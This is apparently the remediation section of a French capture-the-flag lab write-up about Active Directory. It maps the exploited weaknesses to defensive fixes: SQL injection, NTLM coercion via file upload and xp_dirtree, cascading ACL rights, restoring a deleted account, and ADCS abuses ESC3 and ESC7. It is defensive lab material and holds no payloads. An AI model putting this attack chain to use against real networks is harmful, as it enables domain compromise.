| Vecteur | Problème | Remédiation |
|---|---|---|
| SQL Injection sur le portail dev | Authentification contournable par un payload SQL basique | Utiliser des requêtes préparées (prepared statements) systématiquement, valider et échapper toutes les entrées utilisateur |
| Coercition NTLM via upload de fichier | Un fichier uploadé déclenche une authentification SMB sortante lors de sa vérification | Désactiver l'authentification NTLM sortante depuis les serveurs applicatifs, isoler l'environnement de vérification de fichiers, filtrer les connexions SMB sortantes non nécessaires |
| Coercition NTLM via MSSQL (xp_dirtree) | Le compte de service MSSQL accepte des chemins UNC arbitraires via une procédure étendue | Désactiver xp_dirtree et les procédures étendues non utilisées, restreindre les connexions sortantes du serveur SQL |
| ForceChangePassword et GenericAll délégués en cascade | Plusieurs comptes standards disposent de droits d'administration sur d'autres comptes sans lien fonctionnel | Auditer les délégations ACL avec BloodHound, restreindre au strict nécessaire (voir l'off-log ACL dédié) |
| logonHours contournable via GenericAll | Une restriction horaire de sécurité est neutralisable dès qu'un droit d'écriture est obtenu sur le compte | Ne pas se reposer uniquement sur logonHours comme contrôle de sécurité : le combiner avec du MFA ou une restriction réseau indépendante des attributs AD |
| Compte quitté jamais réellement supprimé | sam.h reste dans la corbeille AD avec ses droits ADCS toujours attachés à l'objet | Processus de offboarding strict incluant la suppression définitive ou la purge planifiée des comptes désactivés, pas seulement leur désactivation |
| Droits sur la corbeille AD trop larges | oscar.m dispose de WriteOwner/WriteDacl sur des objets supprimés, permettant leur restauration et prise de contrôle | Restreindre les droits sur le conteneur Deleted Objects aux seuls comptes d'administration Tier 0, journaliser tout accès à ce conteneur |
Template ESC3 (Shadowgate-EnrollmentAgent) | Droit d'enrollment individuel jamais révoqué après le départ de l'employé, EKU Certificate Request Agent actif | Révoquer les droits d'enrollment lors de l'offboarding, limiter la durée de vie des permissions d'Enrollment Agent, exiger l'approbation manager |
| ESC7 (déséquilibre ManageCA/ManageCertificates) | sam.h dispose de ManageCA sans ManageCertificates, mais ManageCA permet de contourner cette limite en s'auto-assignant le rôle Officer | Ne jamais déléguer ManageCA isolément à un compte utilisateur, retirer tout droit de gestion de CA en dehors du groupe d'administration PKI dédié |
[!NOTE] Ce lab illustre une chaîne d'attaque particulièrement longue où chaque étape dépend directement d'un détail OSINT ou d'un indice contextuel (le nom du vérificateur de fichiers, le rôle allemand d'Oscar, le mail interne mentionnant le firewall LDAPS et les templates de certificats). Cette dépendance au contexte, plutôt qu'à une seule faille technique isolée, est représentative d'un engagement réel où la reconnaissance humaine (OSINT) pèse souvent autant que l'exploitation technique pure.
Writeup rédigé par Zcook
